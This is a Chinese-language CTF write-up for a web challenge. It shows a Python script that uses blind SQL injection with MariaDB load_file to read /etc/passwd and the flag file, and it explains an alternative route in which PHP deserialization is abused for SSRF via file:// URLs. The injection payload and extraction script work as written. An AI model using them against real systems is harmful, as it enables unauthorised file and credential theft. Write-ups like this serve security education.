首先注冊一個賬號,注意blog是一個http或https的鏈接的形式,否則將無法通過。
點擊用戶名進入用戶界面,根據頁面內容,初步懷疑本題考查SSRF。不過由於不能使用file等協議,感覺應該需要在某處進行繞過。
用戶界面的url為http://812a2fb3-abaa-4b68-98b4-2bc2172d4509.node3.buuoj.cn/view.php?no=1,輸入單引號發現報錯。
[*] query error! (You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1)
Fatal error: Call to a member function fetch_assoc() on boolean in /var/www/html/db.php on line 66
經過測試發現該頁面做了一些過濾,但load_file沒有被過濾,/etc/passwd文件可以讀取到。接下來測試到flag的位置位於/var/www/html/flag.php。
下面寫了一個腳本來獲取flag.php中的內容。
import requests
def exp(url_format,length=None):
rlt = ''
url = url_format
if length==None:
length = 50
for l in range(1,length+1):
begin = 1
ends = 126
tmp = (begin+ends)//2
while begin<ends:
r = requests.get(url.format(l,tmp))
#判斷條件根據情況修改
if b'http://www.baidu.com' in r.content:
begin = tmp+1
tmp = (begin+ends)//2
else:
ends = tmp
tmp = (begin+ends)//2
rlt+=chr(tmp)
print(rlt)
return rlt.rstrip()
url = "http://812a2fb3-abaa-4b68-98b4-2bc2172d4509.node3.buuoj.cn/view.php?no=elt(ord(substr(load_file(%27/var/www/html/flag.php%27),{},1))%3E{},1)"
exp(url,400)
其中核心的payload為
elt(ord(substr(load_file('/var/www/html/flag.php'),?,1))>?,1)
靜靜地等待幾分鍾得到了結果
<?php
$flag = "flag{98207bdb-3d8f-43df-9956-2211c9fa9b05}";
exit(0);
好像有什么不對,說好的SSRF呢???通過查看他人的題解,發現這個不是預期解,預期解是通過反序列化進行SSRF。接下來說說預期解怎么做。
首先是發現了robots.txt中泄漏了/user.php.bak這個文件。
該文件主要是聲明了一個用戶類,當調用get方法時會訪問某個url得到信息,如果該url被惡意利用,比如利用file協議,就可以讀取任意文件。
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
接着在剛才的注入點,可以發現data字段
data: O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:12;s:4:"blog";s:20:"http://www.baidu.com";}
也就意味着view.php將查詢到的結果進行了反序列化。所以可以在查詢的時候構造一個反序列化字符串,將blog字段修改為file:///var/www/html/flag.php即可。
關於具體的payload,大家可以參考其他文章,預期解網上多的是。